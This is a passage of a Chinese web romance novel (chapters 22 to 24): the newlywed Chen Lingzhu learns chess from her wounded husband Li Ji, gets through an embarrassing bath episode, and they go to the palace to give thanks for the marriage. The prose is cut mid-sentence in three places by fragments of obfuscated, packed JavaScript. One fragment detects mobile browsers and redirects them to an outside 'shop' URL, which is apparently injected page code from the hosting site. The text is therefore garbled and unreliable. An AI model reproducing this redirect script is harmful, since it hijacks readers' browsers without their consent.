李济醒了过来,陈灵珠就不是寡妇了,以后李济袭爵,她还会成为镇国公夫人,杨绾柔光是想想就觉得不甘心。 那小贱人凭什么。 所以她以替陈灵瑛出气为由,散播了这个谣言。 今日流言传遍京城,她兴冲冲地去了陈府,恰好遇上出门一圈回来的陈灵瑛,本是想邀功的,没想到被陈灵瑛骂了个狗血淋头。 平时待她很是和悦的陈灵瑛大发雷霆,见了她就骂道:“你是不是昏头了,你是不是想让天下人都知道陈家违逆圣旨?你知不知道这会给我爹、给陈家带来多少麻烦?我真的要被你气死了!” 杨绾柔辩解,“表姐,传的是陈灵珠使手段替你上花轿,就算要问罪,也是问她的罪。” 陈灵瑛都被她气笑了,“以前我怎么没发现你这么不晓事呢?没有一家之主的同意,谁会相信她能手眼通天到这个程度?你以为能站到金銮殿的人都是傻子?就算别人相信是她一人所为,至少也要参我爹一个教女不严、治家不严之罪!” “就是我,被这样一传,也显得跟个草包一样!” “你要做这样的事,为何不先来问过我?” “现在好了,别人都要来弹劾我爹了!陛下就是想轻拿轻放都不行了!我成了那没用的蠢材了!” “事情平平静静过去就算了,临了临了你偏来这一出!” “你要对付她,多少方法用不得,偏偏要用这样害死我、害死我爹的方法!” 陈灵瑛的大小姐脾气一上来,就有点收不住,杨绾柔不敢还口,被骂得蔫头耷脑。 陈灵瑛骂够了,便让杨绾柔回去了。 被陈灵瑛如此痛骂,杨绾柔不禁又羞又怒。结果才回到杨府,她的父亲又派人过来把她叫了过去。 杨绾柔很少见到她的父亲,他总是很忙,忙于钻营,忙于狎妓,忙于和小妾厮混。 突然主动找她定然不会是什么好事,果然,见了她,杨见满脸怒色,指着她骂道:“你这个不肖女!别人养女儿我养女儿,怎么别人家的女儿都是家里的助力,你却只会拖家里的后腿!” 近日有个肥差空缺,杨见眼馋,想找陈进帮忙,可事情闹成这样,陈进不恼才怪呢,哪里还会帮他谋差事? 杨绾柔不服气,“我也帮了家里很多,怎么就拖后腿了。” 她爹的好多机会,还是她去哄陈灵瑛才得来的呢。 杨见骂道:“你还敢顶嘴!这次要不是你乱来,事情会变成这样?不指望你像你姑姑一样帮扶家里,至少别砸你爹的饭碗!” 杨绾柔的姑姑是杨家的骄傲,因为嫁给了陈进,给杨家带来了源源不断的好处,所以尽管她死了,杨家人还是无比怀念她,时不时就提上一嘴。 杨绾柔噘着嘴不说话了。 到嘴的肥肉眼看要飞了,杨见越想越气,但他也不敢骂得太狠,毕竟如今与陈家那边的关系,主要还是靠他这个女儿去维持。 “你好好想想,怎么哄得你表姐和姑丈消气!” 杨绾柔一腔委屈和怒火无处发泄,便出了杨府,来到永宁街散心,没想到遇上了李照芙,更没想到向来眼高于顶的李照芙居然回应她了,还很是热情。 她立即抓住了这个机会。 今日之事皆因陈灵珠而起,都是那小贱人害她被表姐和父亲责骂,何不借李照芙之手给她找点麻烦。 除了婆母,没有谁比一个小姑子更能找嫂子的麻烦了,何况还是李照芙这样在家里要风得风、要雨得雨的小姑子。 …… 知道她替嫁一事已经传遍全城,陈灵珠暗道好险,幸亏她快了一步!若是她隐瞒至今,今日之局面,就真的不知该如何收场了。 李济看了她半晌,问她:“你对这流言似乎不惊讶?你知道是谁做的?” 陈灵珠摇头,又点头。 “说你是草包,说你抢了乃姊的亲事,你也不生气?” 陈灵珠道:“没什么好生气的,也不是第一次发生这样的事了。” 她早就告诉自己,无论他们怎么对她,都不要生气,也不要难过。 因为不值得。 这流言为何会流出来,她也能猜到,但就算不是他们的意思那又怎么样呢,若不是他们平时给杨绾柔撑腰,给了杨绾柔底气,杨绾柔也不敢这么做。 “你倒看得开。”他微微愣了一愣。 陈灵珠点头,浅浅笑了笑:“我一向如此。” 她不看开些又能怎么样呢,怄气伤的是自己的身体,她实在不必做这样的蠢事。 这个小女子心宽得让他几乎要生出同情之心。 “你不在意,但我镇国公府的人却不是这么好欺负的。”停了一会儿,他冷冷道。 以前她在陈家的名声如何不该他管,他也管不了,但如今,她好歹名义上也算是镇国公府的人。 他叫来吴骏,“外面有些少夫人的闲话,你去处理一下。” 吴骏走了,李济转过头,发现陈灵珠似乎有些惊讶,又有些感动看着他。 李济乜她一眼:“这么看着我做什么?” “世子,”她道:“还是第一次有人这样帮着我呢。” 从前每一次,无论何事,她想寻求爹娘的帮助时,爹娘都会先让她反省自己,从来没有一次像李济这样痛快地说:“我陈府的人不是那么好欺负的。” 李济瞥她一眼,凉凉道:“你想多了,我不过是不想镇国公世子夫人有个不好的名声,损了我镇国公府的体面。” 陈灵珠:“……” 这人要是不会说话,她的感动就能持久一点了。 大眼瞪小眼了一会儿,李济问她:“你可会下棋?” 陈灵珠也曾与人对弈,但她下得少,也不曾认真钻研此道,自然称不上“会下”。 “下过几盘。”她如实道。 下棋这个事情,一来讲求天赋,二来也需要名师的指点和经验,她不擅长也不奇怪。 “我教你。”他道。闲着也是闲着,教一教她也不妨事。 陈灵珠没异议。 反正闲着也是闲着,跟着他学一学也不是坏事。看李济这个骄傲 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而对于李济而言,杀得对方溃不成军虽然痛快,但也有隐忧——这小女子虽然不至于掀桌,但很可能就此对下棋失去了兴趣,随时就甩手而去了。 虽然他也不是很稀罕跟她这等水平的人弈棋,但眼下,再没有比她更合适的人了,少不得将就将就。 也罢,看在她还不算太笨的份上,他便勉为其难鼓励她一番罢。 于是他拿出一个彩头诱惑她道:“半年内,若你能赢我,我可以答应你一个要求。” 这个彩头不可谓不大,毫不夸张地说,他能拿出的礼物、能做到的事,这天下还没有多少人能超过他。他本以为陈灵珠听到必定双眼放光,然而她想了想,竟摇了摇头。 李济:“……” 这小女子难道就这么无欲无求? 陈灵珠倒不是无欲无求,只是她眼下确实没什么需要李济帮忙的。何况,若能做到的,大概也不用她提,若不能做到的,提了也没用,她不喜欢强人所难。 见她不为所动,李济继续蛊惑道:“你确定不要?只要不违背道德和律法,不危及镇国公府,你要什么,只要能做到的,我都可以答应。” 他会这么说,一来是为了让陈灵珠好好学棋,二来,也是对自己棋艺的自信——他十几岁时,他精通下棋的父亲已不是他的对手,如今更是没有敌手,至少他没有遇到过。 陈灵珠想了想,心中微微一动。 有一件事,李济确实可以帮到她的忙——她如今做了李济的妻子,若想做大夫,只怕阻碍重重。 但若是李济松口,事情也许就简单多了。 当然,以他们下棋的水平参差,半年内要赢李济也没那么容易,但这是只赚不赔的买卖,她试一试又何妨?就当鼓励自己好好学棋了。 “那好罢,那我就答应世子了。” 李济先是含笑点头,后又隐隐觉得哪里不对——他怎么有一种求着人收礼的感觉? 22. 第 22 章 从东院出来,陈灵珠笑容满面地对奶娘和两个丫鬟道:“事情都解决了,让周叔去拿回嬷嬷的身契,咱们就不再受制于人了。” “太好了姑娘!” 奶娘和两个丫鬟很是欢喜,前些时日大家的心都悬着,如今总算可以放下心头大石了。 奶娘笑道:“既如此,我们不能再称呼姑娘为‘姑娘’了,该改口称‘少夫人’了。” 其实她们早该改口称呼陈灵珠为“少夫人”,但因为不知镇国公府到底会怎么对陈灵珠,奶娘也就没特意纠正几个丫鬟,由着她们继续叫陈灵珠“姑娘”。 如今总算名正言顺,她们就该大大方方地称呼陈灵珠为“少夫人”。 陈灵珠虽对”李济之妻”这个身份还有些恍惚,但按照俗例,改口也是应该的,便也就由她们去了。 解决了奶娘的身契问题,她便去书房找了几本棋谱出来。 奶娘看她拿着棋谱不停地看,连饭竟也放一旁不急着吃,忙劝道:“少夫人,先用膳吧,棋谱什么时候看不成?再不吃,饭菜都要凉了。” 陈灵珠放下棋谱,笑道:“世子棋艺精湛,我不下点苦功,无论如何不可能三个月之内赢他。” 她下苦功也未必能赢他,但横竖她也没有吃亏,既然答应下来便该全力以赴。 奶娘道:“先吃饭吧,少夫人又瘦了。” 陈灵珠没有瘦,还圆润了一点,她噗嗤一笑道:“嬷嬷什么时候看我,都觉得我瘦。” 不过饭还是要吃的,磨刀不误砍柴工嘛。 用了饭,她将棋谱暂时抛开,让人拿了棋枰、棋子来,凭着记忆慢慢地复盘刚才与李济的棋局,揣测他下棋的思路。李济棋艺精妙,非一般人能比,她复盘了几次,又自己打了两次谱,虽然依然不算有头绪,但隐隐也觉得自己好像更懂下棋了一些。 不过,第二日她就知道,这不过是错觉。 望着惨败的残局,她皱着一张脸。 “少夫人,”阿拙见一局结束,只有陈灵珠在发呆,上前道:“少夫人能不能帮小人一个忙?” 她的心思还在残局上:“什么忙?” “今日阿壳不在府内,世子要洗澡,少夫人能不能给小人搭把手?” 李济爱洁,前些时日动弹都困难,自然无法奢求洗.浴,只能将就着擦擦身子。但如今只要小心些,他洗一洗下.半.身还是不成问题的,便让阿拙打了水来——虽然只能洗下.半.身,但总归是聊胜于无。 其实他并不需要人帮忙,他并不是逞强的人,不会拿自己的身体冒险。 但阿拙这小厮大概是出于谨慎的考虑,放心不下,便向陈灵珠提出了请求。 李济本来想拦住阿拙说不必,但她已道:“好。” 李济诧异地掀了掀眼皮,这小女子可知道阿拙在问什么? 其后她的反应证明,她确实不知道。 好一会,她将目光从棋局中收回,转向阿拙:“你刚才问我什么?” 阿拙:“……” 李济:“……” 果然如此。 少夫人这样迷糊也不是第一次了,阿拙见惯不怪,耐心地再次道:“世子要洗澡,我想请您搭把手。” 陈灵珠:“……” 搭把手?!她要怎么搭把手? 她惊疑地望着阿拙,阿拙怕她反悔,忙笑道:“劳烦少夫人了。本来也不必劳烦您,主要是世子不喜欢其他姐姐服侍,小人一个人又怕扶他不住出意外,去外院叫人又怕水凉了。少夫人只需要在我给世子擦洗的时候扶着他就好……” 在阿拙眼里,少夫人和世子是夫妻,妻子在丈夫洗澡的时候帮帮忙再正常不过了。 陈灵珠:“……” 换做是以前,她早就随便找个借口,再唤个丫鬟小厮过来帮忙,自己脚底抹油就走了,但眼下这样做,似乎不太合适。 毕竟就在昨日,她还表达了对李济的感激,还表示要好好当镇国公府的世子夫人。 作为世子夫人,首要的身份,便是李济的妻子。 为人妻子,照顾受伤的丈夫沐.浴好像也是理所应当。 拔脚就走似乎不太好。 她沉吟了一会儿。 说起来,她与李济的开场实在算不上好,到目前为止,两人的相处与平常的夫妻还差着十万八千里,更别提理想中的相敬如宾了。 罢,既然已经决定将前账一笔勾销了,就没必要揪着以前不放,既然他需要帮忙,那她就帮一把罢。 不就是扶着他么,小事而已。 她点了点头,道好。 李济将她的神色看在眼里,淡淡地看了她一眼,竟也没开口反对。 阿拙见自己请动了少夫人,心中得意,笑嘻嘻地将水提进去,倒进浴桶,出来对李济道:“世子,好了。” 说着便过来扶李济。 李济慢慢地往盥室走。 陈灵珠犹豫了一下,上前扶住他的左下臂,李济侧头看了看她,没说什么。 进了盥室,二人将李济扶到浴桶旁边。 阿拙是个行事果断的小厮,他二话不说,马上转到李济面前,手脚麻利地将李济的上衣脱去,李济劲瘦的上半身顿时不着寸.缕。 他开始解外裤的带子。 陈灵珠站在他的身后,不知是否那蒸腾热气的缘故,她的脸越来越热。 在李济脱去中裤前,她终于道:“那个,我、我去看看世子的衣裳准备好了没有。” 话出了口,她才发现自己有点结巴。她也不敢看李济的脸色,逃也似地出去了。 李济不禁好笑。 他就知道这小女子没那么勇敢,刚才还一副豁出去的模样呢。 也难怪她,毕竟还是个小姑娘,估计什么也不懂。 其实李济在男女之事上也不是很懂,但在陈灵珠面前,他大约能算老手——至少他看过一些这方面的书。 阿拙本来是叫少夫人扶住世子的,但看到世子已经扶住了浴桶,也就没说什么。 陈灵珠跑了出去,待脸上的热气褪去,她才打开衣橱,给李济收拾衣裳。 然而她拿到李济的裈裤时,又忍不住脸红了。 她胡乱地将其与中衣中裤一卷,拿着往盥室走。 进去是不可能的,她在盥室门口道:“阿拙,出来拿一下世子的衣裳。”她想着,李济可以自己扶住浴桶壁,阿拙离开一会儿想来不要紧。 谁知阿拙道:“少夫人,小人忙着呢,一时不得空,您自己拿进来吧?” 陈灵珠:“……” 拿着衣服发了一会儿呆,送进去她又无论如何做不到,陈灵珠犹豫了一下,便搬来一张椅子,放到盥室门口,再将衣裳放到椅子上面,叫阿拙道:“衣裳我放门口了,一会儿你出来拿一下。” 阿拙还想叫她拿进来,李济忍笑忍得胸口发疼,终于开口道:“去拿吧。” “哦。”这照顾周到的小厮想了想,提议道:“要不世子还是出去再穿吧,这地上汪着水,滑得很,万一摔倒不是玩的。” 虽然这个可能性很小,但也不是不可能,李济本来无可无不可,便同意了。 拿了衣裳之后陈灵珠本想回西院的,但一想,最尴尬的时候已经过去了,她还跑什么,便依然坐回残局前,复盘刚才那一局。 她万万没有想到,李济会直接没穿衣服就出来了——虽然腰部围了一块擦身的巾栉,但欲盖弥彰,尤其是他迈动修长而紧实的双腿缓缓朝她走来的时候,他劲瘦的上.半.身还未擦净的水珠将那巾栉洇湿了部分,那巾栉便贴在他的身上。 那一瞬间,陈灵珠感觉一股热气直往面门上冲,她的脸颊、耳朵和脖颈都热得仿佛要着了火。 虽然万分悔恨自己一念之差导致如今的尴尬局面,但这时候再跑已经来不及了,因为那个没点眼力见的小厮无知无觉,还胆敢使唤她道:“少夫人,劳您把世子的衣裳拿过来吧。” 陈灵珠:“……” 她现在跑出去会显得很没见过世面吗? 显得没见过世面还不要紧,但李济那厮一定会取笑她的。 踌躇了一会儿,她决定淡然处之,于是她假装没看到李济只腰间围着一块布,照阿拙的要求,迈步去取衣裳。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751509|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她到底担心阿拙突然将绸布放下,让她看到什么不该看的东西,便一边过去拿了衣裳,一边提醒他道:“先别放开那块布!” 阿拙以为少夫人怕冻着世子,响亮地答应了一声:“少夫人放心吧,小人省得的。” 陈灵珠略略宽心,她也不敢看李济,拿了衣裳便赶紧过去,想着将衣裳放到阿拙手边便马上离开,没想到那小厮见少夫人已拿着衣衫到了身旁,寻思这下不怕冻着世子了,便把原本手里抓着用来给李济遮羞的巾栉松开,还将就着用这块布给李济擦了擦身子。 突然凉飕飕的李济:“……” 猝不及防被迫观看的陈灵珠:“……” 虽然只是背面,虽然陈灵珠是他名义上的妻子,但被一个女子看了个精光,饶是李济脸皮够厚,也难免有几分尴尬。但转念一想,他一个大男人,被个小姑娘看一看,也无甚要紧。这么一想,他又心安理得了。 但看了别人的那个人可就没这么想得开了,夺门而出回了西院之后好久,她的脑海里还是挥之不去的那两瓣圆中见方、一看便紧实有力的翘.臀,让她羞愤欲死。 两个丫鬟和姜妈妈见她与世子对弈回来便是这个模样,大为不解。 紫苏问:“少夫人这是怎么了?怎么下个棋还能下成这样?” 陈灵珠捂着脸,“我见着了不该见的东西。” 世子房中有什么不该看的东西呢,紫苏心思单纯,想来想去也想不出个所以然来。 想了半日,她一惊,难道少夫人勘破了世子的什么秘密?又想,若是如此,少夫人该是怕,而不是羞恼啊? “少夫人到底看到了什么不该看的东西?” 在紫苏眼中,世子房中就没有什么东西是她家少夫人看不得的,就算什么机密,也该与少夫人分享。何况机密该放到书房才是,毕竟卧房是日常起居的地方。 陈灵珠捂着双眼哀嚎一声:“不说了,再说我就要自挖双眼了。好紫苏,你也别问了。” 紫苏还想问,奶娘扯了扯她的衣袖,笑着摇了摇头。 “少夫人,世子请您过去下棋呢。”次日,阿拙笑嘻嘻来到西院请她道。 陈灵珠踯躅再三,决定还是赴约。 越是尴尬,越是要装得云淡风轻,这种事情,比的就是谁脸皮厚。只要她脸皮够厚,尴尬的就是李济。 但想是这么想,一看到李济,她那装出来的厚脸皮便消失得无影无踪。 李济看到她磨磨蹭蹭、恨不得走一步退三步的样子,暗暗好笑。 “少夫人这是怎么了?何故脸红成这样?” 这个人,就是喜欢明知故问。 陈灵珠有些气恼,抬起头,瞪了他一眼。 她的眼睛微圆,又大又亮,瞪他这一眼虽没什么威慑力,但足够神气。 这实在是一个生动的女子。 他道:“我都没在意,你一个占了便宜的人,倒计较起来了。” 陈灵珠:“……” 她占了便宜?这样的便宜谁爱占谁占! 眼看她在爆发的边缘,他忙道:“来吧,下一盘。” 陈灵珠恨恨地坐下,“来就来。” 然而她无意中抬起头时,总觉得李济的脸上带着一丝若有似无的淡笑。细一看,又没有了。 两人正下着棋,阿拙进来说宫里来了一个中官,奉陛下之命送了一些强身健体的补品过来,叶太医也过来了,说陛下以后让他常驻镇国公府,为世子好好调理身子。 “夫人已为叶太医安排好了住处。” 皇帝隔三差五地给李济送些名贵药品、补品过来,不是什么稀奇事,派熟知他病情的太医过来为他调理身体,也算合情合理。 但不知为何,虽他脸上的表情没什么变化,陈灵珠就是觉得,他整个人变冷了。 李济见陈灵珠盯着他瞧,乜她一眼,道:“弈棋如此不专心,何日能赢我?” 偷看他被逮个正着,陈灵珠也有些心虚,忙低下头看棋盘。 但她还是忍不住偷偷看了几次李济的脸色,只是他已神情自若,仿佛刚才那一瞬间的冷是她的错觉。 23. 第 23 章 翌日,陈灵珠去太夫人的松鹤院请安,阿拙急急忙忙跑了过来。 “太夫人、少夫人,不好了!” 原来李济的伤口虽然愈合得不错,但另外一个问题却让他几乎崩溃——他的伤口发痒。一开始他用手抓,谁知越抓越痒,把他难受得甚至想过用小刀轻轻划上几道,让痛感来代替这种无法忍受的痒。 请了叶太医来看过,开了药方,只是这内服外敷的似乎也没太大效果,他依然痒得想要撕烂皮肉。 阿拙见他越抓越用力,劝不住他,也拦不住他,便匆匆忙忙跑去请陈灵珠来阻止,偏陈灵珠不在,后来打听到少夫人在太夫人的院子里,便匆匆跑来了。 太夫人一听,这还了得,连忙跟陈灵珠一起过来了。 太夫人看到李济使劲挠,忙劝李济:“济儿,这痒只能忍住,千万别抓,这旧伤未去,万一再抓出新伤来可怎么好?” 说是这么说,但看李济痒得坐立不安,抓耳挠腮的,太夫人也看不下去,李济向来举止稳重,太夫人几时见过孙儿这个模样?看得久了,更是觉得自己身上也痒了起来。 于是太夫人不甚厚道地对陈灵珠道:“孙媳妇,这个任务就交给你了,你看着他,千万别让他抓。” 说完就脚底抹油,急急忙忙地走了。 阿拙怕世子怪他请了太夫人来,趁人没注意,也悄悄溜了出去。 其他人一看形势不对,都纷纷退下。 房里就剩两人了。 陈灵珠先看了看叶太医的药方,没甚问题,便让人拿了纱布包着的冰来,让李济敷一敷,缓解痒感。 吩咐下去后,她正想走开,却不小心被口水呛了一下,咳了一声。 李济立即放下了按在胸口的手。 本想离开的陈灵珠随即改变了想法。 遵照太夫人的吩咐看着他还是要的。 毕竟是为他好么。 于是每次李济想挠,陈灵珠便眼睛眨也不眨地盯着他,但凡他手一动,她便把眼睛睁大,拉长音道:“世子——” 被这样一制止,李济的表情十分痛苦,似乎因为想抓而不得导致痒意都加倍了。 虽然隐隐有一种以别人的痛苦为快乐的内疚,但陈灵珠看他这样,心里还是乐不可支。 李济几时这么听话过,还是太夫人的话好用。 李济用手肘轻轻地蹭了蹭心口,她又重重地咳嗽一声。 李济咬牙瞪着她,她露出一个无辜的表情:太夫人吩咐的,她有什么办法! 冰块未到,李济咬牙忍着,好不容易,陈灵珠站起身,说要出去一会儿,让他自觉点别抓。 他点头,让她尽管放心。 陈灵珠这才往外走,见她出了门槛,李济连忙将手伸入怀中。 “世子!”她忽又探回了头,蹙着眉头不悦道:“怎么跟个小孩儿似的,一点也不自觉!” 李济讪讪地缩回手。 陈灵珠又盯了他一会儿,这才走开了。 李济连忙抓了两下,不由对自己有些恼火。 想他堂堂指挥千军万马的将军,一个小小的女子竟也来指挥他!可恨的是,刚才自己还听了,真的一动也没动,简直是昏了头! 他发狠般地抓了两下,却又更痒了。 “世子!” 忽然她的声音响起,将他生生吓了一跳。 他连忙将手放下,掩饰地咳嗽了一声。 “你在做什么?”她柳眉倒竖,质问道。 “我……我觉得伤口有些疼,摸一摸。” 她显然是不信的,蹙着眉,瞪着他。 这小女子竟敢如此,简直是给她三分颜色,她就开起染坊来了!他想发作,教训她一顿,但话到嘴边又被他忍了下去。罢了,她也是奉祖母之命,虽是拿着鸡毛当令箭,但自己权且看祖母面上,忍她一忍。何况不去挠是真的对他的伤口好。 “真的。我一下都没抓。” 陈灵珠看他如此老实,决定大发慈悲。 她递给他一本书,“世子既控制不住自己的手,不如做些别的,忘了伤口,也就不痒了。” 她的话很有道理,只是李济拿起书一看:《金刚经》。 他都要气笑了,这个时候,他能看得下佛经才怪了。 “不看。”他把书掷到一边。 “那下一盘棋罢?” “不下。” “世子不想看书又不想下棋,那就练字罢,练字也能平心静气。” 李济接受了这个提议,两人来到书房,陈灵珠将纸铺好,加水将墨研好。 李济上前来,手轻轻一挥,写了一个“痒”字。 陈灵珠看着这个字摇头道:“世子这是何苦,练字正是要忘了这事儿,偏偏你还要自己提醒自己。” 她也提笔,写了一个“静”字。 李济看了看她写的,不由暗赞,这字写得很不错。虽不能称为笔走龙蛇,力透纸背,但确实行云流水,颇有风骨。 这个女子,也不知“草包”的名声到底是怎么传出来的,经过这些时日的相处,他早发现了,她不仅不是草包,还鬼灵精得很,只是没想到,她连字也写得好。 陈灵珠见他自己写了几个字,真的没有再去抓胸口了,便把《金刚经》拿了回来,把平头条桌让给他,道:“世子抄一抄经。”自己则走到另一张书案上练字。 一时之间,两人皆默默写字,房里寂静无声。 李济练了一阵,心沉静了下来,真的把痒意也忘记了。 待他想了起来,已经一点儿也不痒了。 抬头一看陈灵珠,正专心致志,完全沉浸其中。 这个小女子,平日里像兔子一样坐不住,但安静起来时,尚有几分娴雅。 陈灵珠搁了笔,发现李济正专心致志看着窗外,不禁好奇地走到他身边,问他:“世子在看什么?” 她探身望了望,窗外明明什么也没有。 他道:“没什么,看看窗外的野草罢了。” 陈灵珠又仔细看了看,终于在窗下找到伶仃的一根草。她疑惑地回头,这么一根细草,难为他看得眼都不眨。 李济低咳了一声,没理她,走到书架旁抽了一本书,坐下看了起来。 陈灵珠也不想练字了,她找了颜料、画纸回到书案旁,准备作画。 “你在画什么?”不知画了多久,她忽然听到李济问她。 “美人图。”她头也不抬地专心作画。 “你画这个做什么?” “好玩。”她答,却倏然一惊。 她手脚极快,立即将笔一放,画纸一卷,但李济的手更快,她的手指才堪堪碰到那张画纸,画纸已被他抽走。 李济将图展开,认真地“欣赏”,一边呵呵冷笑,一边点头道:“好一张美人图。” 画上那“美人”衣襟半敞,颇有魏晋名士之风流,只可惜手指弯曲放在胸口,剑眉拧得快要打结。 倒也惟妙惟肖,倘若画的不是他, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她将李济塞回给她的那张画纸展开,看看画纸,又看看他,问他:“世子觉得哪里不像?” 其实她画得很好,李济不过随口胡诌,见她问,又不能收回自己说的话,便随手指了指道:“这里,这里,还有这里……” 陈灵珠又对比了一番,还是觉得很像。 但他少照镜子,不熟悉自己,觉得不像也是正常,好在再画一幅也不是什么难事。 “那我重新画一幅像的,保证世子满意。” 她笑着,重新铺了一张画纸,“世子放心,我很快就画好……” 李济:“……” 他何时答应做她的画中人了?他不满地想拂袖而去,但抬眼看那小女子,她已经拿着笔沉入其中,一时看画,一时看他,一时眉头微蹙,一时面露笑容,把全副心思都在作画上,根本无暇理会他的不满。 李济:“……” 罢了。 画作完成,李济分明在她眼里看到了一丝狡黠,他顿时有种上了当的感觉。 陈灵珠十分满意,将画好的画给他看:“世子你看,这一次画得像不像?” 她画得惟妙惟肖,然而李济看得气闷,“还可以。” “那当然。”陈灵珠得意道:“我别的不行,画还是画得不错。世子若是喜欢,我把它裱起来,挂到明间如何?” 挂起来被人看见,他就无需见人了,李济一惊,忙道:“不必,你画得如此精妙,该收起来好好珍藏。” “世子说得很是。”这一次,她比李济快一步将画收起,冲他甜甜一笑:“既如此,我就好好收藏了。” 李济常有,而画姿不常有,这样的画当然值得好好珍藏,以后没事拿出来笑一笑。 李济:“……” 24. 第 24 章 因为两人的婚姻算是御赐,李济好一些后,两人就该一起到皇宫谢恩了。 一大早,两人便各自起了身,按规制着衣。 李济着紫色公服,戴展脚幞头,佩银鱼袋,仿若玉树临风。陈灵珠则着青色大袖长裙,戴花钗冠,更显风流秀丽。 都是第一次看到对方如此盛装打扮,两人对望了一会儿,彼此都有些新奇。 “走罢。”陈灵珠率先反应过来,提醒他道。 李济一愣,转身抬脚大步而去。 陈灵珠快步跟上。 李济骑马,她则坐车。 这次进宫,她不像上次那般忐忑,但还是有些尴尬。 好在皇帝颇为亲切,见了他们二人,露出笑容。二人向他行大礼,他连忙从御座下来亲自扶起他们,目光在他们二人脸上转了几圈,连声道:“好,好!好一对璧人!虽是阴差阳错,但如今看你二人,当真是珠联璧合、天造地设。” 见陛下态度自然得就像他本来就是赐婚给李济和她,陈灵珠露出笑容,不再纠结。 皇帝扶着李济的手臂,将他上下打量,笑道:“济之,见你安然无恙,朕就放心了!你可知道,朕为你,可是将心提起了好长一段时间!” 济之是李济的表字,皇帝这样唤他,可见对其亲近。 李济道:“让陛下担忧,微臣有罪!” 皇帝笑道:“你这小子,怎的又一本正经起来!什么罪该万死,真要死,该死的也是那刺客!济之,待朕查出是谁要害你,定将他千刀万剐,为你出气!” “微臣感激不尽。” 皇帝转过脸,笑着对陈灵珠道:“二表妹,你不知道,朕与济之感情如同亲兄弟。济之有没有告诉过你,他小时候常常进宫?那时候,不仅父皇与母后疼他,朕这个兄长,也喜他入骨。后来济之去了边关,朕还吃不下睡不香,过了好长时间才习惯。” 陈灵珠知道皇帝对镇国公府、对李济十分恩宠,接连不断的赏赐和特意驻守镇国公府的太医便是证明,如今见皇帝对李济态度亲昵远超一般君臣,虽然稍稍有些讶异,但细细一想,似乎也在情理之中。 她笑道:“世子一直忙着养伤,还未与我讲过这些呢,原来陛下与世子幼时感情就如此之深。难怪陛下挂念世子,世子也为陛下披肝沥胆。” 李济笑道:“以前多亏陛下照拂微臣,微臣也十分怀念幼年时光。” 皇帝哈哈大笑:“自从济之去了军中,就变得没意思了,张口闭口臣臣臣的。朕说了,朕与你乃是兄弟,私下里何必拘礼?” 李济笑道:“是,愚弟听命。” 皇帝哈哈大笑,拍着李济的肩膀道:“这才是朕认识的李济之。” 他给李济和陈灵珠二人赐了座,让王德忠上了最新的春茶,与两人说了几段与李济小时候的趣事,又回忆了一番陈灵珠小时候如何瘦骨伶仃,看着可怜,然后像一个慈爱和蔼的大哥哥那样笑道:“朕最亲厚的兄弟与至亲的表妹结为夫妇,朕这心里,当真高兴。” 李济与陈灵珠二人相视一笑。 皇帝见他二人眼波流转,似是眉目传情,笑道:“看来朕这婚没有赐错。” 陈灵珠羞涩地低下头,心道陛下此言差矣。 她与李济这般,不是当真有了什么情意,而是既然认下了这婚,就应该在陛下面前做出一般新婚夫妻该有的样子来。 否则,岂不是对陛下赐婚不满?陛下对他们再亲切,有些事,也不能任性妄为。 她相信李济也是同样的想法。 闲话家常了一会儿,皇帝笑着对陈灵珠道:“皇后也想见一见二表妹,二表妹先去罢,朕与济之还有些话要说。”陈灵珠便告退出来,跟着内侍顺着蜿蜒曲折的回廊穿过重重宫殿,来到了皇后所居的坤宁殿。 坤宁殿内除了皇后,还坐着淑妃。 淑妃是武安侯的女儿,如今陛下面前最得宠的嫔妃。 陈灵珠拜下去,皇后忙叫平身赐座,亲切笑道:“如今我们灵珠成了济之之妻,既是表妹,又是表弟妹了。” 陈灵珠作赧然之色,依着指示坐到了与淑妃相对的右下首。 皇后和颜悦色,淑妃却面露不屑和讥讽,将陈灵珠上下打量。 陈灵珠能感觉到她的目光在自己身上不停打转,却也只能装作不知。 皇后意味不明地看了淑妃一眼,淑妃却视而未见,冷哼一声道:“果然好一个美人儿,难怪人见人爱,连镇国公府也二话不说认了你。说起来还真是世事难料,谁能想到,最后会是你嫁给了李济。” 陈灵珠知道,武安侯与陈进、李济都有嫌隙。 淑妃不喜欢她并不稀奇,她只是疑惑,淑妃既然如此厌恶她,今日为何要到坤宁殿来? 她本可以不来的,总不能只是为了受她一拜罢。 “淑妃娘娘过誉,臣妇愧不敢当。” 淑妃还想再说,皇后打断了她,转移话题笑道:“本宫从前常想,什么样的人儿才配得上济之,如今可算知道了。不过是两年罢了,我们灵珠就出落得这样出色,与济之可真是天造地设的一对。” 说罢面带警告地看了淑妃一眼,淑妃不以为意,又轻轻地冷哼了一声。 淑妃受宠,又有武安侯撑腰,听说在后宫里甚是跋扈,并不将父亲是国子监祭酒的皇后看在眼里,只是没想到,淑妃当着人面也如此放肆。 但这些事情非她能置喙,她只面带羞涩道:“娘娘别笑话臣妇了。” 皇后又道:“从前你年纪小,后来又随舅父出了京,统共也没进过几次宫,如今你回了京,又嫁给了济之,往后你多些进宫来,咱们可就能常常见面了。” 淑妃又是咄地一声道:“皇后娘娘的贤良,妾望尘莫及。” “淑妃!”皇后似是忍无可忍,“慎言!” 淑妃翻了个白眼,站起身懒懒道:“妾告退。” 说罢便带着宫女内侍扬长而去。 陈灵珠有些尴尬,皇后却像习以为常,转头笑着对陈灵珠道:“不必管她,咱们聊咱们的。” 陈灵珠微笑着道是,心中却很是疑惑,暗想淑妃的那句“皇后娘娘的贤良,妾望尘莫及”是什么意思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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安排一个生手到御前侍奉少有,不过皇后知道这是怎么回事。 